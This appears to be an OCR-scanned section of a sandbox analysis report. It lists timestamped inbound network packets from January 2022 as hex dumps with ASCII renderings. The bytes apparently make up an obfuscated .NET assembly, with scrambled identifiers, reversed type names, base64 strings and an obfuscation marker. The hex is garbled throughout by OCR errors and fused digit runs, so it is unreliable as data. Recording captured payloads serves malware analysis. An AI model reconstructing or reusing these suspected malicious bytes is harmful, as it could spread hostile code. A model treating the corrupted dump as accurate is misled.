fc Oe 9c 02 d4 01 01 00 08 00 c3 02 36 41 3f 0f 9d 02 dc 01 01 00 08 00 c3 02 Oc 44 6¢ 0f 9e 02 e4 01 01 00 08 00 c3 02
17 44 7e 01 9e 02 ec 01 01 00 08 00 c3 02 22 44 7b 0f 9e 02 fc 01 01 00 08 00 c3 02 38 44 7b 0f 9f 02 Oc 02 01 00 08 00
€3 025741 7e 01 a0 02 14 02 01 00 08 00 93 00 43 4b 45 01 a0 02 1c 02 01 00 08 00 93 00 57 4b b4 10 a0 02 24 02 01
00 08 00 93 00 6b 4b ba 10 a0 02 2¢ 02 01 00 00 00 91 18 d3 16 37 01 al 02 34 02 01 00 08 00 86 18 53 00 cc 10 al 02
3c 02 01 00 08 00 c3 02 5d 4a 4d 05 a3 02 48 02 01 00 08 00 c3 02 68 4a fc Oe a3 02 58 02 01 00 08 00 c3 02 4 40 fc Oe
a4 02 68 02 01 00 08 00 c3 02 ff 40 fc Oe a5 02 70 02 01 00
Data Ascii: @ @hJ6A?DID~"D{8D{WA~CKEWKS$kKK,74S<]JIMHhIX@h@p

2022-01-06 07:09:08 UTC 89 IN Data Raw: 01 00 08 00 16 00 4e 6b 6f 17 38 03 00 00 00 00 03 00 06 18 53 00 65 01 38 03 98 Oe 01 00 08 00 10 18 d3 16
37 01 38 03 00 00 00 00 03 00 46 00 2b 18 81 17 38 03 ac Oe 01 00 08 00 16 00 4e 6b 9d 17 38 03 00 00 00 00 03 00 06
18 53 00 65 01 38 03 c0 Oe 01 00 08 00 10 18 d3 16 37 01 38 03 00 00 00 00 03 00 46 00 2b 18 c1 17 38 03 d4 Oe 01 00
08 00 16 00 4e 6b d5 17 38 03 00 00 00 00 03 00 06 18 53 00 65 01 38 03 8 Oe 01 00 08 00 10 18 d3 16 37 01 38 03 00
00 00 00 03 00 46 00 2b 18 f1 17 38 03 fc Oe 01 00 08 00 16 00 4e 6b f7 17 38 03 00 00 00 00 03 00 06 18 53 00 65 01 38
03 08 0f 01 00 08 00 10 18 d3 16 37 01 38 03 00 00 00 00 03 00 46 00 2b 18 c7 Ob 38 03 1c 0f 01 00 08 00 16 00 4e 6b 05
18 38 03 00 00 00 00 03 00 06 18 53 00 65 01 38 03 28 0f 01 00 08
Data Ascii: Nko8Se878F+8Nk8Se878F+8Nk8Se878F+8Nk8Se878F+8Nk8Se8(

2022-01-06 07:09:08 UTC 93 IN Data Raw: 00 08 00 10 18 d3 16 37 01 38 03 00 00 00 00 03 00 46 00 2b 18 f4 1d 38 03 a4 18 01 00 08 00 16 00 4e 6b fc
1d 38 03 00 00 00 00 03 00 06 18 53 00 65 01 38 03 b4 18 01 00 08 00 10 18 d3 16 37 01 38 03 00 00 00 00 03 00 46 00
2b 18 Oc 1e 38 03 c8 18 01 00 08 00 16 00 4e 6b 14 1e 38 03 00 00 00 00 03 00 06 18 53 00 65 01 38 03 d8 18 01 00 08
00 10 18 d3 16 37 01 38 03 00 00 00 00 03 00 46 00 2b 18 24 1e 38 03 ec 18 01 00 08 00 16 00 4e 6b 2b 1e 38 03 00 00
00 00 03 00 06 18 53 00 65 01 38 03 f8 18 01 00 08 00 10 18 d3 16 37 01 38 03 00 00 00 00 03 00 46 00 2b 18 3a 1e 38
03 0c 19 01 00 08 00 16 00 4e 6b 45 1e 38 03 00 00 00 00 03 00 06 18 53 00 65 01 38 03 1c 19 01 00 08 00 10 18 d3 16
37 01 38 03 00 00 00 00 03 00 46 00 2b 18 58 1e 38 03 30 19 01 00 08 00
Data Ascii: 78F+8Nk8Se878F+8Nk8Se878F+$8Nk+8Se878F+:8NkE8Se878F+X80

2022-01-06 07:09:08 UTC 96 IN Data Raw: ca 29 00 00 02 00 ca 29 00 00 01 00 9f 21 00 00 02 00 f1 21 03 00 03 00 1f 3¢ 00 00 04 00 26 3¢ 02 00 05 00 3f
2200 00 01 00 9f 21 00 00 02 00 f1 21 03 00 03 00 1f 3¢ 00 00 04 00 26 3¢ 02 00 05 00 3f 22 00 00 06 00 d7 21 00 00 07
00 91 21 02 00 01 00 3f 22 00 00 02 00 ea 21 00 00 01 00 ca 29 00 00 02 00 ca 29 00 00 01 00 3 3b 00 00 02 00 fd 3b 00
00 03 00 2b 3¢ 00 00 04 00 38 3¢ 00 00 01 00 3 3b 00 00 02 00 fd 3b 00 00 03 00 2b 3¢ 00 00 04 00 38 3¢ 00 00 05 00 d7
21 00 00 06 00 91 21 00 00 01 00 38 3¢ 00 00 02 00 ea 21 00 00 01 00 ca 29 00 00 02 00 ca 29 00 00 01 00 47 3c 00 00
02 00 57 3¢ 00 00 03 00 81 24 00 00 01 00 47 3¢ 00 00 02 00 57 3¢ 00 00 03 00 81 24 00 00 04 00 d7 21 00 00 05 00 91
210000 01 00 ea 21 00 00 01 00 ca 29 00 00 02 00 ca 29 00
Data AsCii: ))11<&<?"lI<&<?"112"));:+<8<;;+<8<18<I)) GLW<$G<W<$!I1))

2022-01-06 07:09:08 UTC 100 IN Data Raw: 2¢ 9e Oe cc 00 59 33 6b 01 cc 00 f4 34 7e 01 ¢4 00 37 33 db 11 d4 00 37 33 db 11 dc 00 59 33 6b 01 dc 00 4
34 7e 01 d4 00 df 35 d7 00 a4 00 37 33 db 11 e4 00 59 33 6b 01 e4 00 f4 34 7e 01 a4 00 53 00 d7 00 a4 00 16 3d fd Oc a4
00 Ob 40 9f 07 bc 00 68 2c 9e Oe d4 00 2b 2c¢ 4d Oe 99 03 53 00 32 01 ec 00 ae 51 c¢9 13 94 00 Ob 40 9f 07 c4 00 2b 2c 4d
0Oe 94 00 68 2c 9e Oe ec 00 ba 51 88 07 91 03 2b 18 35 04 al 03 53 00 d7 00 d4 00 53 00 d7 00 a9 03 53 00 32 01 fc 00
53 00 d7 00 fc 00 ae 51 ¢9 13 21 01 1a 52 01 14 41 02 53 00 07 14 81 02 25 52 fb 07 fc 00 ba 51 88 07 81 02 65 52 fb 07
81 0270 52 fb 07 04 01 ae 51 c9 13 81 02 7a 52 fb 07 81 02 80 52 fb 07 81 02 84 52 fb 07 81 02 8e 52 fb 07 81 02 94 52
fb 07 81 02 9b 52 fb 07 81 02 al 52 fb 07 81 02 a9 52 fb 07
Data Ascii: ,Y3k4~7373Y3k4~573Y3k4~S=@h,+,MS2Q@+,Mh,Q+5SSS2SQ!RAS%RQeRpRQzRRRRRRRR

2022-01-06 07:09:08 UTC 104 IN Data Raw: 50 74 72 6f 70 73 6e 61 72 54 49 73 6¢ 65 6e 6e 61 68 43 6¢ 65 64 6f 4d 65 63 69 76 72 65 53 6d 65 74 73 79
53353939 37 37 31 00 72 6f 74 70 69 72 63 73 65 44 72 61 68 43 72 65 64 69 76 6f 72 50 74 78 65 54 64 65 6b 73 61
4d 6¢ 65 64 6f 4d 74 6e 65 6e 6f 70 6d 6f 43 6d 65 74 73 79 53 39 30 32 39 37 00 56 61 6¢ 75 65 54 79 70 65 00 6e 6f 69
747065 63 78 45 74 63 61 72 74 6e 6f 43 65 67 61 73 73 65 4d 64 69 6¢ 61 76 6e 49 6¢ 65 64 6f 4d 65 63 69 76 72 65 53
6d 65 74 73 79 53 38 39 37 36 34 00 65 74 69 75 53 6d 68 74 69 72 6f 67 6¢ 41 79 74 69 72 75 63 65 53 61 68 53 73 65
44 65 6¢ 70 69 72 54 79 74 69 72 75 63 65 53 6¢ 65 64 6f 4d 65 63 69 76 72 65 53 6d 65 74 73 79 53 33 34 31 38 34 00 4f
46 4e 49 54 4e 45 49 50 49 43 45 52 44 49 54 52 45 43 45 45 52
Data Ascii: PtropsnarTlslennahCledoMecivreSmetsyS59977 1rotpircseDrahCredivorPtxeTdeksaMledoMtnenopmo
CmetsyS90297ValueTypenoitpecxEtcartnoCegasseMdilavnlledoMecivreSmetsyS89764etiuSmhtiroglAytiruceSahS
seDelpirTytiruceSledoMecivreSmetsyS341840FNITNEIPICERDITRECEER

2022-01-06 07:09:08 UTC 108 IN Data Raw: 6e 72 36 6e 75 44 46 37 4b 64 4e 30 36 5a 6a 00 57 32 38 34 34 58 36 4d 4d 54 59 55 62 36 64 32 57 52 74
007267 65 79 73 733543 61 61 79 6d 70 5a 6d 4c 48 69 49 00 4a 36 61 38 34 68 35 73 4f 67 43 6a 66 74 47 58 41 79
6e 00 7a 69 6e 62 6¢ 45 35 50 63 54 4b 54 6d 69 6f 79 55 62 74 00 44 39 4d 62 50 6e 35 62 69 67 4f 62 6f 61 73 55 51 74
54 00 41 66 49 76 75 50 35 69 41 35 71 49 75 37 36 76 34 74 33 00 41 75 57 4c 44 66 35 6¢ 59 46 4d 5a 47 52 44 5a 78
3252005159 7257 30 66 35 53 6¢ 56 5a 56 4c 44 36 57 61 57 46 00 46 61 79 74 6b 68 35 33 53 6b 73 31 45 70 4a 65
44 69 69 00 2e 63 63 74 6f 72 00 69 42 65 71 47 57 35 45 71 62 76 6b 4a 71 34 53 75 38 48 00 4d 61 69 6e 00 45 6e 74
72 79 50 6f 69 6e 74 4e 6f 74 46 6f 75 6e 64 45 78 63 65 70 74 69 6f 6e
Data Ascii: nrénuDF7KdN06ZjW2844X6MMTYUb6d2WRtrgeyss5CaaympZmLHilJ6a84h5sOgCjftGXAynzinblE
5PcTKTmioyUbtD9MbPn5bigOboasUQtTAflvuP5iA5qlu76v4t3AuWLDI5IYFMZGRDZx2RQYrWof5SIVZVLD6WaWFF
aytkh53Sks1EpJeDii.cctoriBeqGW5EqbvkJg4Su8HMainEntryPointNotFoundException
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Timestamp transferred Direction Data

2022-01-06 07:09:08 UTC 113 IN Data Raw: 5a 77 00 74 79 70 65 6d 64 74 00 46 69 65 6¢ 64 49 6e 66 6f 00 4d 65 74 68 6f 64 49 6e 66 6f 00 79 73 50 50
7272 73 6d 59 6¢ 55 43 49 4f 45 50 41 6a 46 00 42 4f 6d 49 71 46 73 6b 53 5a 48 4a 4d 70 5a 42 36 74 48 00 6f 00 51 44
4856 30 69 51 4b 67 00 41 73 73 65 6d 62 6¢ 79 00 55 36 58 45 36 6d 76 79 77 00 70 41 4c 31 30 53 4b 43 6f 43 00 44
69 63 74 69 6f 6e 61 72 79 60 32 00 53 79 73 74 65 6d 2e 43 6f 6¢ 6¢ 65 63 74 69 6f 6 73 2e 47 65 6e 65 72 69 63 00 42
56 30 31 6d 75 42 49 66 30 00 4c 69 73 74 60 31 00 51 52 52 31 59 4b 66 42 4e 4a 00 6¢ 51 75 31 38 47 41 73 49 68 00
756551 31 43 42 5a 71 77 72 00 58 34 68 31 41 39 32 38 79 4e 00 58 42 56 31 6¢ 6¢ 63 4a 48 56 00 69 42 4e 31 55 38
52 67 4e 47 00 44 30 38 31 52 6a 42 5a 37 58 00 68 79 4f 31 4e 79
Data Ascii: ZwtypemdtFieldInfoMethodInfoysPPrrsmYIUCIOEPAjFBOmIgFskSZHIMpZB6tHoQDHV0iQKgAssemblyUBXE
6mvywpAL10SKCoCDictionary 2System.Collections.GenericBVO1muBIfOList 1QRR1YKfBNJIQu18GAsihueQ1CBZgwrX
4h1A928yNXBV1llcJHVIBN1UBRgNGDO81R|BZ7XhyO1Ny

2022-01-06 07:09:08 UTC 117 IN Data Raw: 45 61 38 54 76 70 57 45 38 44 51 00 6¢ 43 31 76 33 62 72 77 36 46 42 44 49 54 37 31 6a 75 6f 00 67 65 74 5f
49 64 00 41 64 59 6b 33 4c 72 6a 6d 54 30 59 45 41 71 4f 38 68 74 00 4b 76 4d 68 52 4e 72 68 69 48 54 63 34 34 37 6e
62 44 48 00 78 72 4a 58 43 75 72 5a 52 6a 55 56 32 44 6a 30 45 69 67 00 67 65 74 5f 50 6f 73 69 74 69 6f 6e 00 44 30 6b
6237707252 61 74 70 4e 65 52 53 4b 71 31 4d 00 4a 5a 52 39 66 75 72 59 43 45 31 69 64 52 46 62 55 4f 31 00 63 38
77 66 4d 57 72 4c 54 36 59 66 6e 31 50 73 79 73 4c 00 44 48 58 33 48 65 72 74 54 56 30 75 53 64 6d 5a 4b 4d 5a 00 62
34 6a 51 44 35 72 4f 4c 31 42 4c 6¢ 43 33 46 4e 6a 68 00 75 32 76 4e 47 4b 72 70 74 65 6f 34 73 58 69 46 45 42 68 00 67
65 74 5f 55 54 46 38 00 75 57 4e 44 6a 6b 72 6d 78 4a 73 50 79 35
Data Ascii: Ea8TvpWE8DQIC1v3brw6FBDIT71juoget IdAdYk3LimTOYEAqO8htKvMhRNrhiHTc447nbDHxrJX
CurZRjUV2DjOEigget_PositionDOkb7prRatpNeRSKq1MJIZR9furY CELidRFbUO1c8WfMWILT6Yfn1PsysLDHX3He
rtTVOuSdmZKMZb4jQD5rOL1BLIC3FNjhu2vNGKrpteo4sXiFEBhget UTF8UWNDjkrmxJsPy5

2022-01-06 07:09:08 UTC 121 IN Data Raw: 57 31 47 76 37 58 32 57 39 42 79 30 72 55 39 45 00 67 54 36 65 5a 71 76 44 30 32 55 75 31 4e 30 58 35 6e
43 00 4e 4b 73 64 76 6f 76 58 33 4f 79 79 63 4f 64 6a 75 31 32 00 4f 6f 6e 52 5a 39 76 4b 51 4d 31 51 74 67 73 37 6f 6¢
52 0077 52 74 78 34 4f 76 38 66 6d 65 47 46 4f 63 64 68 4e 69 00 79 4c 34 48 34 63 76 67 6¢ 4e 79 53 6f 53 69 56 44 4b
34 00 48 47 48 56 50 73 76 39 6a 54 6f 65 33 43 53 4b 70 5a 57 00 46 4b 76 32 32 53 76 34 41 45 77 70 33 4e 38 69 31
30 48 00 47 6f 35 4e 72 76 76 42 64 47 76 48 4f 4a 36 64 44 6a 37 00 47 57 76 54 58 73 76 54 74 6f 72 30 6b 53 42 45 67
6f 75 00 61 71 77 69 6d 76 73 54 44 59 00 57 4b 46 73 30 63 76 4e 6¢ 32 44 66 6f 62 41 4b 42 75 72 00 56 71 53 68 6a 4
976 47 68 49 73 74 4e 34 38 43 32 6b 56 00 50 76 6a 69 67 6f 4b
Data Ascii: W1Gv7X2W9By0rU9EgT6eZqvD02UulNOX5nCNKsdvovX30yycOdjul200nRZ9vKQM1Qtgs7olRwWRtx4
Ov8fmeGFOcdhNiyL4H4cvgINySoSiVDK4AHGHVPsvIjToe3CSKpZWFKv22Sv4AEWpP3N8i10HGo5NrvwwBdGvHOJ6dDj7
GWVTXsvTtorOkSBEgouaqwimvsTDYWKFs0cvNI2DfobAKBurVgshjlvGhistN48C2kVPvjigoK

2022-01-06 07:09:08 UTC 125 IN Data Raw: 56 55 6b 6a 33 66 59 47 00 52 65 6d 6f 76 65 41 74 00 55 49 69 46 4b 4e 49 71 6a 6¢ 78 6a 38 73 38 71 44 76
4d 00 67 5a 39 30 70 6e 49 4e 4b 70 31 56 6f 4a 49 4a 4d 72 71 00 53 36 31 74 68 6¢ 49 47 68 6a 79 53 6b 73 56 71 32
56 62 00 47 4f 77 31 31 34 49 56 66 36 76 4f 53 69 6d 78 32 4e 78 00 7a 4e 41 6f 49 44 49 63 41 66 6d 57 34 56 59 47 68
7057 00 75 56 4e 77 49 47 49 4d 59 5a 75 78 56 6f 6b 68 6d 47 55 00 6d 53 52 4b 4e 6a 49 7a 63 64 33 4a 62 50 72 65
76 45 37 00 30 45 34 34 38 45 46 35 45 35 45 36 30 36 33 30 42 44 44 42 31 39 33 38 38 43 42 36 33 37 38 34 33 36 45
33 43 36 3544 30 33 44 44 36 36 44 41 37 43 36 45 42 46 46 35 36 33 42 44 38 35 37 41 00 34 42 45 44 33 41 44 43 35
32 44 34 39 30 34 30 37 35 46 36 42 42 46 32 37 39 45 43 34 41 43 45
Data Ascii: VUkj3fYGRemoveAtUIiFKNIgjlxj8s8qDvMgZ90pnINKp1VoJlIMrgS61thliGhjySksVg2VbGOw1141VievOSim
x2NxzNAoIDICAfmW4VYGhpWuVNwIGIMY ZuxVokhmGUmMSRKNjlzcd3JbPrevE70E448EF5ESE60630BDDB19388CB63
78436E3C65D03DD66DA7C6EBFF563BD857A4BED3ADC52D4904075F6BBF279EC4ACE

2022-01-06 07:09:08 UTC 128 IN Data Raw: 63 61 38 63 62 36 64 34 35 37 39 39 63 65 66 64 31 62 61 39 37 65 39 33 33 66 64 00 6d 5f 65 34 32 66 38 34
37 65 35 61 39 35 34 36 32 34 38 31 35 39 64 34 35 32 39 61 32 34 61 32 34 30 00 6d 5f 65 34 37 32 66 38 65 39 39 33
66 31 34 39 62 33 39 34 39 37 30 34 33 66 34 34 39 65 35 39 34 62 00 6d 5f 30 30 32 35 31 32 32 39 32 36 61 64 34 30
64 31 61 39 30 61 64 36 34 66 65 66 34 64 39 62 32 37 00 6d 5f 30 66 38 61 37 64 30 66 38 35 61 32 34 32 36 326233 3
531 36 64 38 61 36 37 65 64 32 62 36 30 00 6d 5f 65 65 66 38 36 32 31 62 31 31 38 65 34 38 37 65 62 61 33 64 62 66 38
66 61 61 37 32 64 38 37 32 00 6d 5f 33 30 32 36 38 33 39 37 35 66 32 34 34 35 62 33 39 65 62 62 35 34 31 35 37 38 31
36 39 36 34 37 00 6d 5f 33 32 63 32 38 34 65 32 30 65 30 63 34 33 32
Data Ascii: ca8ch6d45799cefd1ba97e933fdm_e42f847e5a9546248159d4529a24a240m_e472f8e993f149b39497043f4
49e594bm_0025122926ad40d1a90ad64fef4d9b27m_0f8a7d0f85a24262b3516d8a67ed2b60m_eef8621b118e4
87eba3dbf8faa72d872m_302683975f2445b39ebb541578169647m_32c284e20e0c432

2022-01-06 07:09:08 UTC 132 IN Data Raw: 43 00 61 00 74 00 61 00 44 00 6d 00 65 00 74 00 73 00 79 00 53 00 38 00 32 00 39 00 30 00 37 00 77 00 59
00 4c 00 49 00 54 00 4d 00 48 00 59 00 77 00 38 00 51 00 4d 00 68 00 6b 00 7a 00 4d 00 67 00 45 00 54 00 41 00 54 00
41 00 2b 00 4b 00 52 00 38 00 74 00 63 00 42 00 45 00 59 00 4f 00 30 00 56 00 6¢ 00 56 00 77 00 3d 00 3d 00 00 73 45 0
0 6¢ 00 6¢ 00 6f 00 43 00 79 00 6¢ 00 6e 00 4f 00 64 00 61 00 65 00 52 00 6e 00 6f 00 6d 00 6d 00 6f 00 43 00 61 00 74 0
061 00 44 00 6d 00 65 00 74 00 73 00 79 00 53 00 38 00 32 00 39 00 30 00 37 00 6¢ 00 6f 00 68 00 41 00 54 00 4a 00 59
00 42 00 43 00 34 00 71 00 49 00 33 00 59 00 6f 00 43 00 68 00 34 00 69 00 62 00 41 00 3d 00 3d 00 00 80 83 46 00 6¢
00 6¢ 00 6f 00 43 00 79 00 6¢ 00 6e 00 4f 00 64 00 61 00 65 00 52 00
Data Ascii: CataDmetsyS82907wYLITMHYw8QMhkzMgETATA+KR8tcBEYOO0VIVw==sElloCylnOdaeRnommoCata
DmetsyS82907IohATJYBC4qI3YoCh4ibA==FlloCylnOdaeR

2022-01-06 07:09:08 UTC 136 IN Data Raw: 3d 62 37 37 61 35 63 35 36 31 39 33 34 65 30 38 39 15 01 54 02 10 53 6b 69 70 56 65 72 69 66 69 63 61 74
69 6f 6e 01 08 01 00 08 00 00 00 00 00 08 b7 7a 5¢ 56 19 34 0 89 04 20 01 01 08 1e 01 00 01 00 54 02 16 57 72 61 70
4e 6f 6e 45 78 63 65 70 74 69 6f 6e 54 68 72 6f 77 73 01 03 20 00 01 08 01 00 02 00 00 00 00 00 05 20 01 01 11 1d 47 01
00 1a 2e 4e 4554 46 72 61 6d 65 77 6f 72 6b 2¢ 56 65 72 73 69 6f 6e 3d 76 34 2e 30 01 00 54 Oe 14 46 72 61 6d 65 77 6f
72 6b 44 69 73 70 6¢ 61 79 4e 61 6d 65 10 2e 4e 45 54 20 46 72 61 6d 65 77 6f 72 6b 20 34 04 20 01 01 Oe 03 00 00 01 O
306 12 08 05 00 01 01 1d Oe 03 00 00 02 04 00 00 12 08 03 06 12 Oc 03 00 00 Oa 08 00 02 01 12 80 8¢ 1d 1c 05 15 12 4d
01 02 05 20 02 01 1c 18 04 20 00 13 00 04 00 00 12 Oc 04 06 12 80
Data Ascii: =b77a5c561934e089T SkipVerificationz\V4 TWrapNonExceptionThrows G.NETFramework,Version=v
4.0TFrameworkDisplayName.NET Framework 4 M

2022-01-06 07:09:08 UTC 140 IN Data Raw: 81 7c¢ 12 80 91 05 07 01 12 81 3c 05 00 00 12 81 3c 04 06 12 81 40 05 00 00 12 81 40 04 06 12 81 44 05 00 00

12814404 06 12 81 4c 04 06 12 81 48 05 00 00 12 81 48 05 00 00 12 81 4c 04 06 12 81 3509 06 15 12 80 d1 01 12 81
240506 1d 12 81 40 09 06 1512 80 d1 01 12 81 44 09 06 15 12 80 d1 01 12 81 48 04 06 12 81 50 05 00 00 12 81 50 04
06 12 81 54 07 20 02 01 12 80 c1 08 05 00 00 12 81 54 09 06 15 12 80 d1 01 12 81 54 04 06 12 81 58 Oe 20 02 01 12 81
35151280d10112815408151280d1011281540a2002011281351d 12 8154 0420 0102 1c 07 07 03 12 81
58 08 08 0f 07 04 08 15 11 81 ¢1 01 1281 5412 81 54 08 08 1511 81 ¢1 01 12 81 54 09 20 00 15 11 81 c1 01 13 00 06
200112815408100703151181¢101128154128154 12815404

Data Ascii: [<<@@DDLHHL5$@DHPPT TTX 5TT 5T XTTT TTTT
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kBytes
Timestamp transferred Direction Data

2022-01-06 07:09:08 UTC 145 IN Data Raw: 50 80 ae 53 47 39 4b 69 79 49 62 74 64 67 47 44 66 31 32 71 72 2e 7a 32 6a 63 36 33 66 4c 6b 75 67 53 31 58
3851 39 4e 2b 4e 69 66 76 64 70 74 68 58 79 5a 53 33 6a 38 58 78 45 2b 6a 73 54 38 56 69 31 6e 71 57 32 6e 4d 36 46
4b 4b 43 4a 60 31 5b 5b 53 79 73 74 65 6d 2e 4f 62 6a 65 63 74 2c 20 6d 73 63 6f 72 6¢ 69 62 2c 20 56 65 72 73 69 6f 6e
3d 34 2e 30 2e 30 2e 30 2¢ 20 43 75 6¢ 74 75 72 65 3d 6e 65 75 74 72 61 6¢ 2¢ 20 50 75 62 6¢ 69 63 4b 65 79 54 6f 6b
65 6e 3d 62 37 37 61 35 63 35 36 31 39 33 34 65 30 38 39 5d 5d 5b 5d 00 00 39 01 00 03 00 54 Oe 07 46 65 61 74 75 72
65 06 45 5a 4f 50 53 45 54 02 07 45 78 63 6¢ 75 64 65 00 54 02 15 53 74 72 69 70 41 66 74 65 72 4f 62 66 75 73 63 61 74
69 6f 6e 00 08 01 00 03 00 00 00 00 00 06 20 01 01 11 82 1d 80 8a
Data Ascii: PSG9KiylbtdgGDf12qr.z2jc63fLkugS1X8Q9N+NifvdpthXyZS3j8XXE+jsT8VilngW2nM6FKKCJ 1[[System.
Object, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]|[19TFeatureEZOPSETExclude
TStripAfterObfuscation

2022-01-06 07:09:08 UTC 149 IN Data Raw: 36 ab 14 83 01 d4 12 4d 3c f6 61 b6 3 e0 3b 8f 1f 36 9c¢ 4d 23 fb 00 2f 18 28 3a 6¢ 2a 30 e2 9f 09 a2 29 00 47
8a 13 47 02 Oc 5d 5a ae de de 18 90 ff 95 49 57 2f 3a 8e 50 75 fa 1b Ob 8c 78 b6 55 82 6¢ 3d 6e 91 03 5d 51 bf dc 81 a6
91 20 e5 03 e6 83 fa 72 b7 55 da 4b 32 1c 1f 6b 4c 1f 03 04 37 bd 39 38 83 12 55 ef 86 aa 26 db 72 6a 19 ff b9 d0 13 90
5b 00 55 80 42 21 32 6e 70 49 14 98 03 28 ea a4 19 db aa f1 a3 Oe 62 31 a9 81 2b 58 9a 9c 85 90 c3 5a c7 e3 ef 1b 1b 6e
8d 7e 38 5e f0 5e d1 eb d1 46 8d 2e 6 97 24 b9 18 65 bb Oe 02 6b a8 d9 5f c7 a3 53 00 7d 20 f1 11 fc 36 7d Oe 91 1a b4
a3 aa 98 7b 27 08 23 f9 af 95 7d 96 ff ca be 02 96 22 a7 81 dc 73 da 98 €9 ae Oe 3d d4 dd 29 7e 1f a3 b2 59 89 le Oa 86
81 ce 56 a7 53 6a 40 84 a6 00 89 4e 9d d8 61 fa 39 3b
Data Ascii: 6M<a;6M#/(:[*0)GG]ZIW/:PuxUI=n]Q rUK2kL798U&rj[UB!2npl(b1+XZn~8"F.$ek_S} 6}{'#}"s=)~YVSj@Na9;

2022-01-06 07:09:08 UTC 153 IN Data Raw: bc 7d Oc 3a f4 76 7a e7 fb 97 90 cb 18 5¢ Oe b8 2c 56 1c d2 22 29 d8 2f cd b7 5c ab 4a fd ee 3f a0 f7 01 4d aa
de d5 37 2b ff b8 1f 9d 97 d5 f1 bf af bb 81 a6 €8 96 b1 41 Oc 98 4f 92 dd 34 d5 ff e4 5f 4b 4d 49 b3 66 46 87 94 cf f8 0d aa
be 1a d2 4d 7c 41 bf 99 al e5 d4 e8 6f 6b 79 9e 11 57 Of 8b f3 02 89 48 45 26 82 {3 9b 49 8f b0 d4 5e ac 57 a4 03 el 21 ef
c2 af 9e 15 54 2e e5 93 ea 62 31 60 e4 b9 93 ac 87 5e 05 Of ff 14 66 c1 ba dd 48 d8 1e 94 1a f3 15 e2 ad 82 04 38 7f 10
20 fd 7a 19 b1 de 3f a2 35 5c bf aa 8e 70 02 9a b2 cc 4c Oc 82 ad 60 3 92 37 de 96 72 53 9c b1 a7 58 74 a0 fd 39 9f cb c1
71 46 ca 4a d7 e7 36 80 f1 75 b3 d6 dc b4 5a ef a5 d8 60 b0 49 98 36 97 11 3a 9c f3 c6 fa 71 fb €8 d8 73 7e c9 ab 09 38
84 €9 01 c4 16 34 51 ¢5 59 d9 5d a5 af b8
Data Ascii: }:vz\,V")AJ?M7+A04_KMIfFM|AokyWHE&I"W!T.b1 fH8 z?5\pL " 7rSXt9qFJ6uZ’16:qs~84QY]

2022-01-06 07:09:08 UTC 157 IN Data Raw: ad 3f 26 b3 02 a6 d3 ff dc 53 11 7a 67 cc 08 16 5¢ e0 88 00 d8 41 f4 b0 22 54 da b1 42 26 b4 c1 00 c8 de 8d cc
eaac 4157 63 96 10 a6 15 6a 7d al e6 d2 cd 69 74 d4 4a 5c¢ cf 52 5f 1c f3 8a 1e 6d 42 Ob 88 d7 81 2c 3a 0d 87 cf 67 66
87 9b f3 01 eb c5 78 da 54 73 d2 bb ce b2 e6 d2 fa 81 53 38 0f 7e 1d 36 7d e0 d3 60 d1 3e 36 dd 7c 6b 23 b3 4c b0 74 d9
41 ec 46 69 06 45 3d b6 2c 78 38 23 Oe 2f ac 9b a4 10 88 06 dc 80 d6 27 7f 4d 1e ad 97 al ba 00 10 b7 e2 83 0d 90 a3 el
Oc 52 7b 66 57 c2 03 f9 9f 6¢ 5e 7f 7d 2e bf 2e 2d 91 5b ca 56 cd 68 47 0a a8 1b c9 0d 74 12 8e 7b 44 07 ee 14 de 3a 61
61 c8 e5 17 f5 ae bb 4a ae de 99 ec e0 ab cc 93 9f 60 f4 a2 5d bf ¢5 1b 26 98 4f ad 50 4d 8a 93 a8 ed 5f 4b 03 5f 70 01 b8
df eb eb 12 38 3ff5 29 e0 e3 5b a6 98 a2 12 85 29
Data Ascii: ?&Szg\A"TB&AWC]}it)\R_mB,:gfxTsS8~6} >6|k#LtAFIE=,x8#/'MR{fWI"}..-[VhGt{D:aaJ ]&OPM_K_p8?)[)

2022-01-06 07:09:08 UTC 160 IN Data Raw: 08 86 ee 07 ff 62 da 93 70 5e 8b 97 8b 7 3e 49 ee cd 90 47 5c¢ bd ¢5 5f 6d 25 ¢8 ¢7 61 10 cc 7e c3 77 f9 c3 22
6a 93 4f 01 95 31 dc 9c d6 2b 57 ce 92 ¢8 bd e4 15 5e d4 be bb ed 32 86 c0 33 Oc 83 ¢c3 44 68 5a 1a a9 69 87 3b 9d 86 5c
4e f8 fb ac 2c d1 49 6¢ f5 54 84 4e 04 04 22 dc 16 8d e5 a3 Oe 65 b0 28 €9 9c 69 df 79 1b 6b de d0 c2 38 2c c7 08 35 Oc
84 fa 33 Oc 66 d8 bf 65 36 6¢ f8 ec 32 09 1e 74 a7 c¢7 81 71 d3 34 d5 fb ce fb da ff 6f 8b 51 98 d2 4f dc f1 Oc 69 c7 a3 54
€9 0f 18 ee 24 16 de 78 75 60 1f 7c 54 a0 75 fd a8 6b 7d 5b 32 77 Oc 26 72 73 4b al 32 55 55 fa 3c 7b 5a 9f 4b 86 f3 ed
6d 3f59 04 66 07 fd 34 e7 c1 2c 01 5f Oe 1b e5 a8 6a 1c e3 fc f6 1c Oc ¢5 13 Oc ¢3 83 9d Oc be 45 9d e5 46 b6 07 aa 2b bd
62 fa 30 3e 69 56 4e 79 6d 2e 2a 2c e9 2f c6 4d
Data Ascii: bp">IG\_m%a~w"j01+WA23DhZi;\N,IITN"e(iyk8,53fe612tq40QOiT$xu’ | Tuk}[2w&rsK2UU<{ZKm?Yf4,_j
EF+b0>iVNym.* /M

2022-01-06 07:09:08 UTC 164 IN Data Raw: 77 3d 07 al 56 5d 68 f9 65 05 9d 09 cO df a6 71 2e 3c 3d 35 al 96 4f 34 be dd 76 f5 fe f2 c4 cb 87 8f 30 49 97
cb 1f 87 d2 d8 Oc b1 ff 9b 92 2c 63 6a f8 a3 b6 41 7f 1b 8a dd c0 ae c9 d6 4e d9 a6 c3 7f 2¢ 20 be 11 96 2b 4a a0 09 2b f2
ce 37 10 a6 aa 40 e8 9b Oa 75 3e 3e 52 db cf 91 6a 4b 72 6f bf 7e 61 90 6f 6f 3d 97 a7 62 b2 41 c5 el f3 16 42 6a 83 fe 6¢
93 46 c7 a2 a0 38 cf 9 84 ed dd e8 70 5e 6 e3 4d b8 81 7d 99 e0 83 bb b0 99 9d de 7a 5b fc 50 ¢7 57 bf 35 09 07 36 f4
